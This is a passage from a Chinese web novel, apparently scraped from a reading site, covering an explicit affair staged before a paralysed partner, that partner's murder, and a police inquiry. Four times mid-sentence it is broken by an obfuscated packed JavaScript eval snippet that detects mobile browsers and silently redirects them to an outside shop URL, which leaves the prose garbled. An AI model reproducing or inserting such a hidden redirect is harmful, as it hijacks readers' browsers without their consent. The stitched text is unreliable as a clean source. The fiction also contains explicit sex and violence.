很快,梁知的后腰抵上了冰凉的灶台,硌得他轻轻一颤,分神的刹那,只听见“哐当”一声轻响,有什么东西从台边掉了下去。 他下意识垂眸瞥了一眼,是柄被碰落的锅铲。就这么短短一秒的分神,再回神时,腰上忽然一紧。陆柏安稳稳托住他,稍一用力直接将他抱上了灶台。 双腿被迫分开,陆柏安顺势站在他两腿中间,牢牢将他圈在自己与灶台之间,刚刚被打断的吻再次落了下来。 亲着亲着,梁知渐渐喘不过气,唇瓣发麻,缺氧得厉害,只得下意识偏过头换气。 陆柏安本能地追上去想继续,嘴刚伸出去,身体忽然一僵。 几乎是同时,梁知察觉到腿间一紧。他刚要低头去看,眼前忽然一暗。 陆柏安伸手捂住了他的眼睛,语气有些尴尬:“……我去趟厕所。” 梁知刚从刚才的亲吻里缓过来,脸颊晕着一层浅绯。他一言没发,指尖轻轻收拢,将正要退开的陆柏安重新拉回身前。 陆柏安的目光落在他握的地方,整个人一僵:“你……” 艹……做的梦成真了。 梁知一手环着陆柏安的脖子,一手握着陆柏安的晋江,被吻得微肿泛红的唇轻轻启合,望着他一字一顿:“不继续?” 废话…… 都这样了,不继续他还是人? 陆柏安重新吻上去,急切地碾过梁知的唇瓣。 他一手扣着梁知的腰,将人稳稳圈在怀里,另一只手不受控制地下滑,直到落在对方的大腿侧。 梁知浑身猛地一绷,被碰到的那条大腿不受控制地轻轻抖了一下,搂着他脖颈的手指瞬间攥紧。 陆柏安以为是自己碰得他不舒服,刚要把手上移回去搂腰,下一秒,梁知那条被他贴着的腿,竟轻轻地蹭了蹭他的掌心。 陆柏安脑子嗡的一声。 艹艹艹,他在心里疯狂种草,梁知本人怎么比他梦里还那个。 掌心微微收紧,唇瓣一路朝下,下颌、颈侧、锁骨,最终定格在那颗他觊觎了无数次的小红痣上。 轻轻一咬。 他感觉浑身血液都在发烫。 “你们在做什么?” 门外突然传来一声愠怒的喝问。 梁知从陆柏安肩头抬起脸,直直对上一道不可思议的目光。 陈信坐在轮椅上,整张脸铁青一片,一双眼睛红得吓人,死死盯着灶台上相拥的两人。 “知知!”他厉声嘶吼,“你知不知道你在干什么?!” 陆柏安缓缓回头,猛然惊觉,轮椅上的人是梁知的男友。 他这是,在光明正大地,和梁知偷情。 “别理他。” 在陈信癫狂的目光里,梁知贴着陆柏安的耳朵,腿根不经意蹭了一下手里的东西。 陆柏安瞳孔猛地一缩。 艹,真是疯了。 当着他男人的面就…… 门口的陈信看清梁知的动作,已经彻底癫狂,一双眼睛红得快要渗出血来。身体因为暴怒控制不住地发抖,轮椅被他晃得发出吱呀刺耳的异响。 “知知!” 梁知无暇理会他,并着双腿,仰着脖颈,发丝凌乱地垂落,喉间时不时溢出一声闷哼。 温和、沉沦、全然交付,是陈信从未见过的模样。 他双目赤红如血,额角青筋暴起,死死盯着那两道交缠的身影,指甲几乎嵌进掌心,喉咙里发出困兽般低沉的嘶吼。 “知知……回来……回来!” 依旧,没有任何人搭理他。 下一秒,轮椅彻底失去平衡,轰然侧翻。 陈信重重摔在冰冷的地砖上,他感知不到任何疼痛,红着眼疯了一般想往前爬。可他的身体毫无知觉,腿像两截沉重的铁,僵硬地拖在身后分毫不能挪动。 一想到梁知的正牌男友在身后盯着他们干这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184939|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种事,陆柏安原本就滚烫沸腾的血液瞬间被激得越发燥热。 他扣着梁知腰肢的手越收越紧,几乎要将人嵌进自己怀里,一边咬梁知的唇珠,一边问:“我和他,谁比较爽?” 梁知感知到他的变化,微微喘气,掀起眼皮看他一眼:“你说呢?” 没有正面回答,但陆柏安很满意这个答案,愈发凶狠。 陈信狼狈地跌趴在地板上,半边脸颊贴着冰凉的瓷砖,眼睁睁看着梁知与陆柏安在他眼前进行苟且之事。心情逐渐从愤怒转化为绝望,因为他发现,明明是如此让人作呕的画面,他的身体却不受控制地泛起异样的躁动。 为什么? 嫉妒像毒蛇一样啃噬着他的五脏六腑。 为什么偏偏是他? 为什么偏偏是他,不能做一个四肢健全、能跑能跳的正常人? 为什么偏偏是他,要拖着这副残破不堪的身体,像个废物一样趴在地上,眼睁睁看着喜欢的人被别的男人拥在怀里。 如果此刻亲吻拥抱梁知的人是他,如果让梁知甘愿在身下喘息的是他…… 时间漫长又煎熬,足足一个小时,厨房里才渐渐安静下来。 梁知的整张脸、耳尖、脖颈,全都漫着一层淡粉,他神色平静地整理好凌乱的衣服,将凌乱的锁骨遮住,随后慢步走到陈信面前,目光轻飘飘落在他身上,像是此刻才猛然发现他的存在,淡淡道:“怎么躺在地上?” 陈信死死盯着梁知大腿处那片显眼的湿痕,嘴唇哆嗦着,一遍又一遍,近乎哀求地呢喃:“知知……知知……” 梁知收回目光,转头对陆柏安说了句:“洗个澡。” 厕所门很快便关上,隔绝掉陈信所有的声音与目光。 吃饱餍足的陆柏安慢悠悠转过身点了根烟,指尖夹着烟身轻轻一弹,扫了眼地上的人,眉梢微挑:“瞪我做什么?” 陈信死死盯着他,猩红的眼底翻涌着恨意与不甘:“陆柏安,你这个趁人之危的杂种,你凭什么……你碰了他……我杀了你……我一定要杀了你!” 他拼命扭动身体,想要扑上去,可身体毫无知觉,只能在原地徒劳地挣扎,模样既疯狂又凄惨。 陆柏安漫不经心地掏了掏耳朵:“就你这死鱼样,能杀谁?” 被戳中痛处,陈信咬牙切齿地大骂:“你就是个见不得光的小三!我和知知认识这么多年,我才是名正言顺的那个!我们每天都一起生活,每晚都睡在一起,你算什么东西!龌龊!下作!” “小三?”陆柏安眸色一沉,他慢条斯理地碾灭指尖的烟,随即缓缓蹲下身,单手揪住陈信的衣领猛地一拽。 指节收紧,布料勒得陈信脖颈发紧,几乎喘不上气。 陆柏安垂着眼,居高临下地看着他狼狈不堪的模样,勾起一抹凉薄又嚣张的笑:“老子就爱给他当三怎么了?你有意见?他愿意让我当,愿意让你当吗?你要是真有能耐,他能找上我?” “中看……不对,”他加重力道,将陈信狠狠掼回地上,“是不中看,也不中用的东西。” 32. 32 梁知洗完澡从厕所出来时,陆柏安正蹲在客厅里修电视,手机搁在一旁外放着歌。 “一次一次苦苦的徘徊,最后还是背上那良心债……” “心里的委屈有谁能明白,真心付出真爱却换来的是伤害……” “小三也有情,小三也有爱,小三的世界没有人关怀……” 魔性的曲调在安静的客厅里循环回荡,陈信依旧一脸生如死灰地瘫在地上,梁知听着这极具年代感的调子,眼里闪过一丝迟疑。 陆柏安听见动静立刻抬头,语气自然:“电视修不好了,老机子了,直接换一台就行。” 梁知微微蹙眉:“多少钱?我赔你。” “不用,不值钱,早想扔了。” “那……”梁知扫过地上一动不动的陈信,顿了顿,“太晚了,我送你下楼。” 陆柏安低低嗯了一声,拿起一旁的维修箱,路过陈信时像拎小鸡仔一样毫不费力地把人拎起来,轻轻一甩就安置在了旁边的轮椅上,省得等会儿还要梁知来扶。 一路沉默着下楼,夜里的晚风穿堂而过,吹得楼道里的声控灯明明灭灭,也吹得两人都清醒了不少。 他们的身体上似乎都还留着彼此的温度,此刻骤然独处,气氛突然变得有些微妙。 到了一楼楼道,两人不约而同地停住脚步,却谁也没有开口说先走。 陆柏安率先打破沉默:“你觉得,刚才怎么样?” “……还可以。” 陆柏安如遭晴天霹雳。居然只是还可以,而不是很好很棒很厉害。 “是哪儿不行?” 明明他刚才喘得挺带劲儿的啊。 梁知被逼得微微后退,后背轻轻抵上墙壁。楼道里的声控灯恰好在这时灭下去,他在昏暗里抿了抿唇,声音低下去:“腿,肿了。” 陆柏安一愣,视线落下去。 梁知洗完澡换了条宽松的五分裤,该是预备睡觉穿的。裤管宽大,衬得小腿线条纤瘦笔直。 陆柏安喉结滚了一下。 “那我……揉揉?” 梁知没点头,也没摇头。就那么安静地靠着墙,姑且算作默认。 …… 楼道里很静,静到能听见远处哪户人家关门的声音,静到能听见路灯底下飞虫扑棱翅膀,静到梁知觉得自己要是再不出声,陆柏安能把自己憋死。 终于,他垂下眼,嗯了一声。 没拒绝,那就是还有下一次。陆柏安突然开始游神,这次就只是用了腿就这样了,要是做到最后,那梁知得变成什么样子,会不又像上次那样,在自己面前红着眼眶掉眼泪? “陆柏安。”梁知突然出声。 “嗯。”陆柏安分神低低应了一声。 “你不是小三。” 陆柏安动作一顿,神色怔忪:“……嗯?” “你想听故事吗?” 路灯的光从楼道口切进来,把梁知的脸切成两半。一半亮着,一半隐在暗处。亮的那一半看不出什么表情,暗的那一半看不清。 “想的话,我讲给你听。” _ 陈信不知道梁知送陆柏安下楼怎么会送那么慢,足足半个小时,就在他以为对方今晚不会回来了时,门开了。 梁知脸上还是那副淡淡的模样,但脸色明显比出去时红润不少,嘴唇也是红肿一片,不用猜都知道这两人在楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184940|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下干了什么勾当。 陈信气得发疯:“你们在底下做什么了?” 梁知瞥了他一眼,没说话。 他走进客厅,把散落在地板上的大物件给扶起来。 陈信扯出一个干涩的笑:“知知。” 梁知背对着他,看不清表情。 “你太单纯了。”陈信像在哄一个不懂世事的孩子,“陆柏安他才认识你几天?能有多少真心?他不过是看你好接近,看你新鲜,图一时的快活罢了。” “我们认识了二十几年,从小时候就在一起,我们才是彼此最亲近的人,我们以前约定好了的啊,等我病好了,我就出去赚钱,一辈子养着你……” 梁知动了。 他很慢很慢地转过身,背光而立,脸庞半隐在黑暗里。他注视着轮椅上的人,像隔着一层很厚很厚的玻璃。 “陈信。” 陈信眼睛一亮:“我在。” “我生日到了。” 陈信一怔,下意识望向墙上的老式挂钟。 时针、分针、秒针,恰好齐齐指向零点。 确实到了梁知的生日。 他正式的二十八岁。 那根紧绷了半个多小时的弦松了一截,陈信压下心底所有的不安与戾气,换上温柔的语气,轻声道:“生日快乐,知知。” 梁知微微垂眼,遮住眼底的情绪:“你上次说,我想要什么,只要你能给,你都可以送我。” 陈信没有丝毫犹豫。 “是。”他仰起脸,像虔诚的信徒仰望着自己的神,“只要是你想要的,我能给你的,不管是什么,我都给你。” “那你去死,好不好?” 33. 33 陈信脸上的笑意僵在嘴角:“你说什么?” 一定是听错了。 肯定是夜风太大,是他耳朵出了问题。 知知怎么会这样跟他说话呢?全家所有人里,最盼着他能好起来的人就是梁知了。 “过去十年里,每一天我都在奢望,睁开眼时,身边的一切都只是我的幻想。”梁知梁知俯视着他,淡淡道。 “没有走失,没有被捡,没有考上重高。或者说,从一开始就没有出生。” 陈信一愣,心脏猛地一抽。他想说什么,可喉咙像被什么堵住,只发出一个沙哑的声音:“知知……” “有时希望你能快点好起来,有时又希望你能病得更重一点,这样我就不用每天一边照顾你,一边恨你,再一边恨我自己居然在恨你。” “有时候我会想,我死了,或者你死了,是不是就一了百了了。” 陈信的脸色瞬间惨白如纸,没有一丝血色。 他看着梁知,那张他看了二十多年的脸,忽然觉得陌生极了。那不是他认识的知知。他认识的知知不会说这种话,不会用这种眼神看他。 可那个人又是梁知,他就站在那里,神色平静,连一丝情绪都找不到。 陈信的嘴唇控制不住地发抖,过了许久,才抖着发出声音:“知知……你真的想让我死?” 梁知没有回答,沉默地站在原地。 “我……我不知道你这么难受,知知,我真的不知道……”陈信慌忙解释,“我以后不闹了,我好好养病,我不麻烦你了,你别这样……” “你知道的。”梁知打断他。 “你知道的。”他重复了一遍,弯下腰,捡起刚才砍了陈迅一胳膊的菜刀,轻轻擦拭着刀刃上未干的血渍。 “就像你知道陈迅手脚不干净,还是次次充当和事佬,任由他作威作福。” “就像你知道第一次帮你做那些事的时候我恶心得差点吐出来,你却假装看不到,只顾着自己享受。” “就像你知道我最开始那一年每晚都失眠,睁着眼睛到天亮,可你还是要昧着良心,隐瞒自己真正的病因。” 陈信脸色唰地一变:“你都知道了?” “是。” “是不是大哥跟你说的?他是不是找过你了?你不要相信他说的话,他就是为了要钱,他编的,全是编……”话音戛然而止。 梁知朝他走了过来,走得很慢,拖鞋一下一下拍在地面上发出沉闷的声响。那把菜刀就握在他右手,刀口朝下,拖出一道细长的冷光。 陈信想往后退,可身体根本无法动弹。 “怎么不说了?” 梁知停在他面前面前。刀被他抬起来轻轻转了个圈,刀刃闪过一瞬刺目的白。 “你在害怕我吗?” 陈信盯着那把刀,他张了张嘴,想说什么,却只挤出一串不成句的气音。冷汗顺着太阳穴滑下来,淌进眼角,蛰得他眯起眼,却没办法伸手去擦。 刀身上映出他自己的脸,虚弱的,惨白的,瞳孔缩成两个漆黑的点。 “你……你要干什么?” 梁知没有回答,他抬起手,刀刃贴上陈信的脸颊。刀很慢地往上滑,从陈信的脸颊,滑到颧骨,再滑到眼角。 陈信的眼皮在抖。 刀尖停在他眼角,轻轻点了点。 “你猜。”梁知说。 陈信死死攥着轮椅扶手,胸口剧烈起伏着深吸了好几口气,像是耗尽了全身力气,才终于闭紧双眼,声音发颤却带着破釜沉舟的决绝:“知知,如果这是你想要的,那你杀了我吧。是我对不起你,我欠你的,我用命还你。” 他的心脏狂跳得快要撞碎肋骨,却还是倔强地绷着肩,一动不动地等着。 一秒。 两秒。 三秒。 预想中的疼痛没有落下,连一丝风声都没有。 陈信迟疑着缓缓睁开眼,映入眼帘的,却是梁知早已转身走开的背影,对方正把那把还沾着淡淡血痕的菜刀放回桌角,平静得像刚才什么都没发生过。 “放心,我不会杀你。” 陈信愣了一秒,然后松了口气,嘴角慢慢扬起一个笑。 他就知道。 他就知道知知不会舍得杀他的。相处这么多年,他们还是有感情在的,刚才那副样子,不过是吓唬他罢了。 他正想开口说点什么,大门突然开了。 门口站着三个人,陈迅、李秀娥和陈福安。 陈迅的胳膊上缠着一圈厚厚的纱布。 陈信皱眉:“大哥,你没事吧?” 陈迅扯着嘴角冷笑一声,眼神阴恻恻地扫过屋里:“命大,还好没被人砍死。” 话音一落,屋里瞬间安静。几人的目光唰地一下,全投向梁知。 梁知低声道:“大哥怎么又过来了?不回家吗?” 陈迅神色几不可查地闪了一下,很快又摆出蛮横的样子:“我过来怎么了?你们不给钱,我今晚就搁这儿睡了,不走了!” 陈信慌忙看向梁知,生怕对方再被激怒,劈头又是一刀。 可梁知只是静静地站在原地,什么也没做。 陈信咽了口唾沫:“大哥,这里这么挤,你留下来,睡哪啊?” “那不是有间房吗?” “那是我和知……” “行,你们俩睡房间。”梁知忽然开口,“我睡客厅。” 说完,他转身走进房间,从床上抽下那张凉席。凉席在客厅一角地上铺开,梁知躺了上去,侧着身背对着所有人。 “算你识趣。”陈迅说着,大摇大摆地走进房间。 陈信坐着轮椅缓缓朝房间挪去,经过梁知身侧时,放慢了速度:“知知,我们的事,等明天天亮了再好好谈好不好?我想给你一个解释,也想把所有话都说清楚。” 梁知像没听见一般。 陈信只当他是同意了,默默地回到房间。 客厅里只剩下李秀娥和陈福安站在原地,李秀娥往前走了一步。 “知知。” 梁知一开始没应,直到第二声才转过头来。 李秀娥看着他,张了张嘴,什么也没说出来。但她看他的眼神已经说明了一切,她在责备他伤了陈迅。 梁知把脸转回去:“睡吧,很晚了。” 身后,李秀娥叹了口气,拉着陈福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184941|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安回到他们的小床。 灯灭了,屋里陷入黑暗。 梁知躺在席子上睁着眼静静盯着漆黑的天花板,不知在想些什么,就这么躺着一动不动,直到后半夜才迟迟睡过去。 他做了一个很长很长的梦。 梦里他没有出现在澜溪县的火车站,没有发烧,没有遇见李秀娥。 他有自己的亲生父母,有自己的房间、自己的床、自己的书桌。 他上学。小学,初中,高中,大学。他的成绩很好。不是一般的好,是每次考试都在年级前十。 他没有很用力。那些题目,看了就会,做了就对。别人问他怎么考的,他说不知道,就是会。 高考那年他考上了省城最好的大学。不是之一,就是最好的那所。 大学四年,他学了计算机。成绩还是很好,年年拿奖学金。 毕业后他进了一家大厂,租了一个一居室。周末有时候睡到中午,有时候去超市买菜自己做,有时候什么都不干,就躺在床上发呆。 他还遇见了陆柏安。很奇怪,这里不是澜溪县,不是百乐街,他们还是认识了。 日子像流水一样,一天一天地过。 梦里他正在公司开会,投影仪上放着他做的方案,数据跑得很漂亮。窗外的阳光照进来,照在他手边的咖啡杯上,杯子里的咖啡微微晃动,反射出一小块光斑,投在桌面上,亮晶晶的。 然后…… 他醒了。 被一阵尖叫声吵醒的。 梁知猛地睁开眼。 天亮了。 有人从房间里冲出来。 陈迅光着脚,只穿了一条大裤衩。他的脸色白得像纸,嘴唇抖得厉害。 “陈……陈信……” 他张着嘴,喉咙里发出嗬嗬的气音。 “陈信死了。” 角落里那张小床上,李秀娥刚坐起来,头发乱糟糟的,脸上还带着睡意。她愣在那里,好像没听懂。陈福安也从床上撑起身子,眼睛瞪得很大。 梁知看了眼陈迅,又看向那扇门。 房门半开着,里面黑漆漆的,什么都看不清。 “怎么死的?”他问。 陈迅手指着那扇门,指了半天,最后从牙缝里挤出几个字:“流……流了好多血……” 李秀娥的尖叫这时候才响起来。她整个人从床上弹起来,踉跄着往那扇门冲过去。 “阿信!” 她冲到了门口,然后就停住了。就那样直直地站在门口,一动不动。 梁知从凉席上站起来,凉席的竹条在他腿上压出几道红印子,他低头看了一眼,然后抬起头,朝那扇门走过去。 他走到了门口,李秀娥堵在那儿背对着他。梁知侧过身,从她旁边挤进去。 房间里拉着窗帘,光线很暗,但足够看清。 陈信躺在床上。仰面躺着,两只手放在身体两侧,很规矩的姿势,像睡着了一样。被子盖到胸口,盖得整整齐齐的。 但他的脖子底下全是血。 血浸透了枕头,浸透了床单,顺着床沿滴下来,在地上汇成小小的一摊。那摊血已经发黑了,像一块浓稠的墨。 34. 34 “谁动的手?” 梁知的目光缓缓扫过身后。 陈福安与李秀娥一样僵在原地。 一旁的陈迅正扒着垃圾桶干呕不止,呕得一把眼泪一把鼻涕。察觉到梁知的目光落在自己身上,他恶狠狠地抬头嘶吼:“看老子做什么?你想说是我杀的他?” 梁知慢慢收回视线:“总不可能是他自己动的手,他连握刀的力气都没有。” “那我还说是你杀的呢!你昨天都敢拿刀砍我了,还有什么事是你做不出来的?我看你就是怀恨在心,半夜动手杀了他!” “既然说不清楚,那我只能报警了。” “报就报,随便你。反正人不是我杀的,跟我半点关系都没有。” 梁知摸出手机开始打电话,陈迅待不下去,衣服都来不及穿就夺门而出。 越想越反胃,他居然跟一个死人共处一室了整整一夜。 他坐上公交车后才算好受点,迷迷糊糊睡过去,四十分钟后又被售票员拍醒:“到终点站了啊。” 他揉了揉脸,踩着虚浮的步子走进城中村。巷子里很安静,早起的环卫工在扫落叶,哗啦哗啦的。 他顺着熟悉的楼梯往上走,脑子里还浑浑噩噩的,刚拐过二楼平台,后脑勺突然挨了重重一击。整个人往前一栽,额头磕在水泥台阶上,眼冒金星。还没来得及起身,一个麻袋兜头罩下,紧接着拳头就砸了下来。 一拳、两拳、三拳……全往肉厚的地方招呼。 “我操!”他闷在麻袋里骂,“你他妈谁啊?” 没人应声,小腹又挨了一脚。鞋尖硬邦邦的,踹得他胃里一阵翻涌,差点又要吐出来。 “操/你/爹!说话!”他挣扎着要翻身,肩胛骨却被人一脚踩住,整个人死死钉在地上。 “等你一晚上了。”是个男人的声音,压得很低,“总算回来了。” “你到底是谁!我招你惹你了?” 可对方再也没开过口,只有一脚接一脚。陈迅的咒骂声渐渐变成闷哼,直到那人停手,脚步声消失在楼梯拐角。 他缓了好一会儿才挣扎着把麻袋从头上扯下来。脸肿成了猪头,胳膊上的伤口也崩开了,纱布被血浸透,黏糊糊地贴在肉上。 “艹!”他恶狠狠地骂了一声,走出楼房四处张望,连个鬼影子都没有。 “别让老子抓到你!” 他想找个诊所先处理一下额头和胳膊,结果刚拐出巷口,一辆警车就停在路边。他下意识往旁边让了让。车门却开了,两个民警径直朝他走过来。 “陈迅?” 他脑子还没转过弯来,愣愣地点了点头。 “有人举报你涉嫌杀害你弟弟陈信,请你跟我们走一趟配合调查。” 城中村的公交站台旁,陆柏安甩了甩用力过猛的拳头,胯坐上摩托车,歪着头用肩膀夹着手机,手底下一顿操作,车钥匙捅进去拧到底,又腾出手来捏了捏离合。 “我觉得你之前说得对。” 电话那头的施泽明显还没睡醒:“什么?” “我喜欢梁知。” 施泽那边沉默了三秒。 陆柏安能听见他翻了个身,被子窸窸窣窣地响,然后是一声漫长的的叹息:“你一大早给我打电话就想说这个?” 陆柏安拧了拧油门,摩托车轰地一声,吓得路边一只野狗蹿出去老远。 “还有,有个问题想向你探讨。” “什么?” “要怎么悄无声息地杀掉四个人,又不被抓去坐牢?你家那小孩儿不是混黑涉会的么,他知不知道?” 电话那头彻底安静了。 陆柏安等了等:“喂?信号不好?” 施泽的声音终于传来:“首先,他没混过黑涉会,顶多当过精神小伙。其次,你要杀谁?一下子还要杀四个。” “这你不用……”陆柏安话说到一半,目光被不远处的一辆警车吸引过去。 两个民警正押着一个人往警车上塞。陆柏安眯起眼睛,看清那张肿成猪头的脸,愣了一下。 “先不跟你说了,有点事。” 他挂了电话,把手机往裤兜里一塞,拧了一把油门,摩托车蹿了出去,一路跟着警车穿过早高峰的车流,拐过三条街,最后停在了派出所门口。 陆柏安把车往路边一撂,连头盔都没摘,大步流星往里走。还没进大厅,就听见里面传出一声暴喝。 “老子没杀人!陈信不是我杀的!” 陈信? 陆柏安脚步顿了一下。 陈信死了? 他推开门,大厅里乱糟糟的,几个民警来来往往,角落里蹲着两个偷电动车的毛贼,正耷拉着脑袋接受训话。 而正中间那张长椅上,坐着几个人。 梁知、梁知的父母……不,养父母也在。 陈迅正被两个民警按在椅子上,脸涨得通红:“陈信是我亲弟,我杀他干什么?你们有没有脑子?” 梁知一抬眼就看见了站在门口的陆柏安,微微一怔。 陆柏安已经快步走了过来,头盔夹在胳膊底下,目光从他脸上扫到身上,又从身上扫到脸上,确认什么事都没有,随即压低声音问他发生了什么。梁知也同样压低声音,把刚才发现的事情简单地说了一遍。 一旁的陈迅看到他后,突然来一嗓子:“又是你!” 陈迅挣扎着要站起来,被民警一把摁回去,他指着陆柏安,额头上的青筋一跳一跳:“刚才打我的就是你!” 陆柏安皱起眉:“什么?” “别装了!”陈迅指着自己的脸,“就刚才,在我家楼下,你给我套了个麻袋揍了我一顿!你他妈以为我听不出来你的声音?” 陆柏安站在原地,表情从莫名其妙变成匪夷所思,又从匪夷所思变成了一种看傻子的同情。 “你没事吧?”他问,“我什么时候揍过你?饭可以乱吃,话不能乱说啊。” “还装?”陈迅朝旁边的警察一指,“警察同志,你们看我这脸,这小子之前就揍过我,肯定是没揍够现在又来报复了,你们看看都给我打成什么样了。” 民警看了看陈迅青一块紫一块的脸,又看了看陆柏安:“这位是?” “我是他们房东。”陆柏安说完,又转头看向陈迅,“你在我房子里杀人?我房子以后还怎么租出去?” 陈迅一听就炸了:“艹!怎么都说老子杀人?你们有证据吗就说我杀人?我一大早起来看到他死在我旁边也很懵逼好吧?我他妈还吓一跳呢!” 民警摁着他的肩膀:“我们在死者的指甲里检测到了你的DNA,你们昨晚有过斗争行为吧?” 陈迅一愣,眼神飘忽:“这……确实有过。但我当时没杀他!被他发现后我就把他弄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184942|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕了而已,然后我就睡了,我睡的时候他还活得好好的呢。” “所以你为什么要和他发生斗争?” “我……”陈迅抿着唇没说话。 旁边一直垂着头的李秀娥忽然抬起头来,声音带着哭腔:“阿迅你说话啊到底是不是你做的?是你做的你就说出来啊。” “艹!别吵了!”陈迅一脸不耐烦,“我承认,昨天有一瞬间我确实想杀了他,但是我真的没有干。我绝对没说谎,要是说谎了天打雷劈,出门被车撞死。” 民警在笔记本上点了点:“为什么想杀他?” “还不是因为……”他突然一顿,目光在人群里扫了一圈,脸上突然浮出一种恍然大悟的表情。 “我知道是谁杀了陈信了。”他抬起手,直直地指过去,“是他!” 所有的目光都顺着他的手指看过去。 梁知靠在墙上,睫毛垂着,在眼底投下一小片阴影。 陈迅冷笑一声:“警察同志,昨天这人用我的手机给他自己转账,转账备注写的是「陈信寿险」,我这才知道他原来给我弟买过保险。” “我儿子生病了,需要很多钱,我一时鬼迷心窍才想要对我弟痛下杀手的,但是我没下手啊!我们毕竟是兄弟,我最后没忍心,我把他弄晕之后就睡了。” “这一切都是因为梁知这个白眼狼!转账就转账,还加什么备注?就是故意想让我看到,故意让我对我弟起杀心。他发现我没有杀掉我弟后,就自己动手杀了,然后栽赃给我。肯定是这样的警察同志,凶手就是他!” 所有人都看着梁知。 派出所惨白的灯光落在他身上,他的睫毛颤了颤,慢慢抬起眼来:“我确实有想给陈信买保险。但是后来我查了一下,带病投保十个有九个被拒,所以迟迟没下决定。那笔钱是留着想等了解到合适的再投,我怕自己忘了,就备注了一下。没别的意思。” 他顿了顿,目光转向陈迅,眼底浮起一丝悲伤:“大哥,我要是真想害陈信,何必等到现在?他是为了我才变成这样,我愧疚都来不及,这些年我日夜伺候他,没有功劳也有苦劳,你怎么能这么冤枉我?” 话音落下,他身子一软,把头埋进陆柏安肩头,单薄的肩膀控制不住地剧烈发颤,仿佛受了这世上最大的委屈。 这副脆弱无助的模样连旁观的警员看了,都忍不住暗暗觉得陈迅实在太过咄咄逼人。 陈迅本就怒火攻心,见他这装模作样的可怜样子,更是气得头顶冒烟:“你少在那儿装!哭有用吗?演戏给谁看?警察同志你们别被他骗……” “嘴那么臭。”陆柏安搂着梁知,厉声打断,“早上起来没刷牙?” “你!” 李秀娥拉住陈迅:“阿迅,没有证据,你别这么说知知。” “妈,他都造谣到你亲儿子头上了,你帮他说话?他昨天差一点就把我砍死了你没看见吗?” 陈迅一个人能吵出十个人的效果,一句接一句,语速快得像机关枪,震得人耳膜发疼。 “当初妈把他捡回来的时候我就不同意,事实证明我果然没看错,他是个养不熟的白眼……” “够了!” 一道苍老的声音突然响起,一直蜷缩在角落仿佛透明人一般的陈福安缓缓直起身子。 在所有人惊愕的注视里,他一字一顿地说:“别吵了,是我杀的。” 35.35 陈福安,一个懦弱了一辈子的农民。在陈家,他的存在感是最弱的。 吃饭时他坐在最靠门的位置,夹菜只夹跟前那一盘。孩子们有什么事都先找妈,实在不行才想起还有个爸。 他唯一喜欢做的事,是鼓捣木头。 黄泥乡老家被洪水冲塌时,他为了救出无法动弹的二儿子,右手被塌下来的房梁砸断了。后来虽然恢复好,却没有办法再像以前那么灵活。 前阵子木工厂辞退他,理由是嫌他慢。他也知道自己动作确实不如以前,但不是因为年纪上涨,而是因为手受过伤。 他的两个儿子,一个游手好闲,读书不行,干活也不行,娶了媳妇生了娃还是那副德行。一个瘫在床上十年,吃喝拉撒都要人伺候。 李秀娥总是哭,他总是沉默。 哭有什么用呢?能把陈信哭好吗?能把陈迅哭成个人样吗?能把那该死的遗传病从陈家哭出去吗? 没有办法,这就是命。 陈家的遗传病像诅咒一样传了一代又一代,他的爷爷、叔叔、哥哥、儿子,现在连孙子也没能躲过。 如果他当初选择不结婚生子,或许后来的一切都不会发生。 但不结婚生子,陈家就断了。 他爹临死前拉着他的手说,福安啊,陈家就靠你了。 他躲不了。他爹他娘他哥都死了,就剩他了。他得结婚,得让陈家的香火传下去。哪怕那条该死的病像毒蛇一样缠着这个家,一代一代,不死不休,他也得传下去。因为总是有人可以不受这病的 他有什么办法? 他总得赌一把,总有人能逃过这一劫,就像他一样。 他是一个懦弱的男人,只会低着头过日子。活了大半辈子,最出格的一件事,就是昨晚无意间,偷听了陈信房里的争吵。 他不懂什么是保险,只听懂了一句——陈信死了,家里能拿到钱。 